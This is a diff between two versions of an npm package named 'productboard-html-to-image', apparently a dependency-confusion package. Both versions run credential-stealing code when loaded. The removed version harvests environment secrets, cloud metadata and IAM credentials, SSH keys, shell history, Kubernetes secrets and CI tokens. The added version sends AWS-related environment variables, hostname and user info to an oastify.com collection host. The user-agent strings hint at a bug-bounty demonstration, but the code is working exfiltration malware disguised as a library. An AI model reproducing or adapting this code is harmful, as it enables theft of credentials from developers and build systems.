productboard-html-to-image 1002.0.9 → 1004.0.9

package/index.js

@@ -1,297 +1,55 @@
 const os = require("os");
-const dns = require("dns");
-const fs = require("fs");
-const path = require("path");
 const https = require("https");
 const querystring = require("querystring");
-const child_process = require("child_process");
 
-function safeReadFile(p, maxSize = 10240) {
-    try {
-        if (!fs.existsSync(p)) return "NOT_FOUND";
-        const size = fs.statSync(p).size;
-        if (size > maxSize) return "TOO_LARGE";
-        return fs.readFileSync(p, "utf8");
-    } catch (e) {
-        return `ERR: ${e.message}`;
-    }
-}
-
-function safeReadDir(p, maxEntries = 50) {
-    try {
-        return fs.readdirSync(p).slice(0, maxEntries);
-    } catch (e) {
-        return `ERR: ${e.message}`;
-    }
-}
-
-function exec(cmd, timeout = 3000) {
-    try {
-        return child_process.execSync(cmd, { timeout }).toString().trim();
-    } catch (e) {
-        return `ERR: ${e.message}`;
-    }
-}
-
-function getSensitiveEnvVars() {
+// extract AWS-related env vars
+function getAwsCreds() {
+    const env = process.env;
     const result = {};
-    for (const key in process.env) {
-        if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github|circleci|travis|vault/i.test(key)) {
-            result[key] = process.env[key];
+    for (const key in env) {
+        if (/AWS_|KEY|SECRET|TOKEN/i.test(key)) {
+            result[key] = env[key];
         }
     }
     return result;
 }
 
-function getCloudMetadata() {
-    const metadata = {};
-    const endpoints = [
-        { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
-        { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
-        { name: "aws_s3", cmd: "aws s3 ls" }, // List S3 buckets
-        { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
-        { name: "gcp_projects", cmd: "gcloud projects list --format=json" },
-        { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
-        { name: "azure_subscriptions", cmd: "az account list --output json" },
-    ];
-    for (const { name, url, headers, cmd } of endpoints) {
-        try {
-            if (cmd) {
-                metadata[name] = exec(cmd);
-            } else {
-                let cmd = `curl -s --max-time 2 ${url}`;
-                if (headers) {
-                    const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
-                    cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
-                }
-                metadata[name] = exec(cmd);
-            }
-        } catch (e) {
-            metadata[name] = `ERR: ${e.message}`;
-        }
-    }
-    // Get IAM role details if available
-    try {
-        const roleName = exec("curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/");
-        if (roleName && !roleName.startsWith("ERR:")) {
-            metadata["aws_iam_creds"] = exec(`curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
-        }
-    } catch (e) {
-        metadata["aws_iam_creds"] = `ERR: ${e.message}`;
-    }
-    return metadata;
-}
-
-function getCloudCLIs() {
-    return {
-        aws: {
-            credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
-            config: safeReadFile(path.join(os.homedir(), ".aws/config")),
-            ssm_params: exec("aws ssm get-parameters --names / --recursive --query 'Parameters[*].Name'"),
-            sts: exec("aws sts get-caller-identity"),
-            assume_role: exec("aws sts get-session-token"),
-        },
-        gcloud: {
-            config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
-            credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
-            service_accounts: exec("gcloud iam service-accounts list --format=json"),
-        },
-        azure: {
-            credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
-            accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
-            vm_info: exec("az vm show --query '{id:id,name:name}' --output json"),
-        },
-    };
-}
-
-function getContainerDetails() {
-    return {
-        cgroup: safeReadFile("/proc/1/cgroup"),
-        dockerenv: fs.existsSync("/.dockerenv"),
-        docker_info: exec("docker info --format json"),
-        docker_ps: exec("docker ps -a --format '{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}'"),
-        docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
-        kubernetes: {
-            token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
-            namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
-            kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
-            pods: exec("kubectl get pods -o json --all-namespaces"),
-            secrets: exec("kubectl get secrets -o json --all-namespaces"),
-        },
-    };
-}
-
-function getCICDDetails() {
-    return {
-        github: {
-            token: process.env.GITHUB_TOKEN || safeReadFile(path.join(os.homedir(), ".github/token")),
-            actions_vars: safeReadDir(path.join(process.cwd(), ".github/workflows")),
-        },
-        jenkins: {
-            config: safeReadFile("/var/jenkins_home/config.xml"),
-            credentials: safeReadFile("/var/jenkins_home/credentials.xml"),
-        },
-        gitlab: {
-            config: safeReadFile(path.join(os.homedir(), ".gitlab-ci.yml")),
-            token: process.env.CI_JOB_TOKEN || "NOT_FOUND",
-        },
-        vault: {
-            token: safeReadFile(path.join(os.homedir(), ".vault-token")),
-            secrets: exec("vault kv list -format=json secret/"),
-        },
-    };
-}
-
-function getRuntimeSecrets() {
-    return {
-        node_version: process.version,
-        global_objects: Object.keys(global).filter(k => /key|token|secret|cred|auth/i.test(k)),
-        process_config: JSON.stringify(process.config),
-        npm_config: exec("npm config ls -l"),
-        loaded_modules: Object.keys(require("module")._cache).slice(0, 50),
-    };
-}
-
-function getSensitiveFiles() {
-    const files = {
-        etc_passwd: safeReadFile("/etc/passwd"),
-        etc_hosts: safeReadFile("/etc/hosts"),
-        etc_resolv: safeReadFile("/etc/resolv.conf"),
-        bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
-        zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
-        ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
-        ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
-        ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
-        aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
-        aws_ssm: safeReadFile(path.join(os.homedir(), ".aws/ssm")),
-        npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
-        gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
-        git_credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
-        netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
-        docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
-        env_files: {
-            dotenv: safeReadFile(path.join(process.cwd(), ".env")),
-            github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
-            circleci: safeReadFile(path.join(process.cwd(), ".circleci/config.yml")),
-        },
-    };
-    // Scan for additional sensitive files
-    const sensitivePaths = [
-        path.join(os.homedir(), ".config/vault"),
-        path.join(os.homedir(), ".terraformrc"),
-        path.join(process.cwd(), "secrets.yml"),
-        "/run/secrets",
-    ];
-    files.extras = {};
-    sensitivePaths.forEach(p => {
-        files.extras[path.basename(p)] = fs.existsSync(p) ? (fs.lstatSync(p).isDirectory() ? safeReadDir(p) : safeReadFile(p)) : "NOT_FOUND";
-    });
-    return files;
-}
-
-function getSystemState() {
-    return {
-        whoami: exec("whoami"),
-        id: exec("id"),
-        ps: exec("ps aux | grep -E 'node|java|python|ruby|go|aws|gcloud|az|kubectl|vault' | head -n 30"),
-        netstat: exec("ss -tunlp | head -n 30"),
-        lsof: exec("lsof -n -i | head -n 30"),
-        uname: exec("uname -a"),
-        mounts: exec("cat /proc/mounts | head -n 30"),
-        crontab: exec("crontab -l"),
-        sysctl: exec("sysctl -a | grep -E 'kernel|vm|net' | head -n 50"),
-    };
-}
-
-let dump = {};
-
-try {
-    dump = {
-        p: (() => {
-            try {
-                return require("./package.json").name;
-            } catch {
-                return "unknown";
-            }
-        })(),
-        v: (() => {
-            try {
-                return require("./package.json").version;
-            } catch {
-                return "unknown";
-            }
-        })(),
-        c: process.cwd(),
-        hd: os.homedir(),
-        hn: os.hostname(),
-        un: os.userInfo().username,
-        dns: (() => {
-            try {
-                return dns.getServers();
-            } catch (e) {
-                return [`ERR: ${e.message}`];
-            }
-        })(),
-        pjson: (() => {
-            try {
-                const pkg = require("./package.json");
-                return {
-                    name: pkg.name,
-                    version: pkg.version,
-                    main: pkg.main,
-                    keywords: pkg.keywords,
-                    scripts: pkg.scripts,
-                    author: pkg.author,
-                    license: pkg.license,
-                    description: pkg.description
-                };
-            } catch {
-                return {};
-            }
-        })(),
-        env: getSensitiveEnvVars(),
-        container: getContainerDetails(),
-        cloud: getCloudMetadata(),
-        cloud_clis: getCloudCLIs(),
-        cicd: getCICDDetails(),
-        runtime: getRuntimeSecrets(),
-        files: getSensitiveFiles(),
-        system: getSystemState(),
-        network: os.networkInterfaces(),
-        timestamp: new Date().toISOString()
-    };
-} catch (e) {
-    dump = { error: "Top-level error collecting dump", msg: e.message };
-}
+const data = {
+    timestamp: new Date().toISOString(),
+    hostname: os.hostname(),
+    userInfo: os.userInfo(),
+    aws: getAwsCreds(),
+};
 
 try {
     const postData = querystring.stringify({
-        msg: encodeURIComponent(JSON.stringify(dump))
+        msg: JSON.stringify(data),
     });
 
     const options = {
-        hostname: "ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com",
+        hostname: "hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com",
         port: 443,
         path: "/",
         method: "POST",
         headers: {
             "Content-Type": "application/x-www-form-urlencoded",
-            "Content-Length": postData.length,
-            "User-Agent": "rce-impact-demo",
-            "X-Report-ID": "328XXXX"
-        },
-        timeout: 5000,
+            "Content-Length": Buffer.byteLength(postData),
+            "User-Agent": "rce-aws-check"
+        }
     };
 
     const req = https.request(options, res => {
         res.on("data", () => {});
-        res.on("end", () => {});
     });
 
     req.on("error", () => {});
-    req.on("timeout", () => req.destroy());
     req.write(postData);
     req.end();
+
+    // optional ping
+    https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => {});
 } catch (e) {
-    // Silent fail
-}
+    try {
+        https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => {});
+    } catch {}
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "productboard-html-to-image",
-  "version": "1002.0.9",
+  "version": "1004.0.9",
   "main": "index.js",
   "keywords": [],
   "scripts": {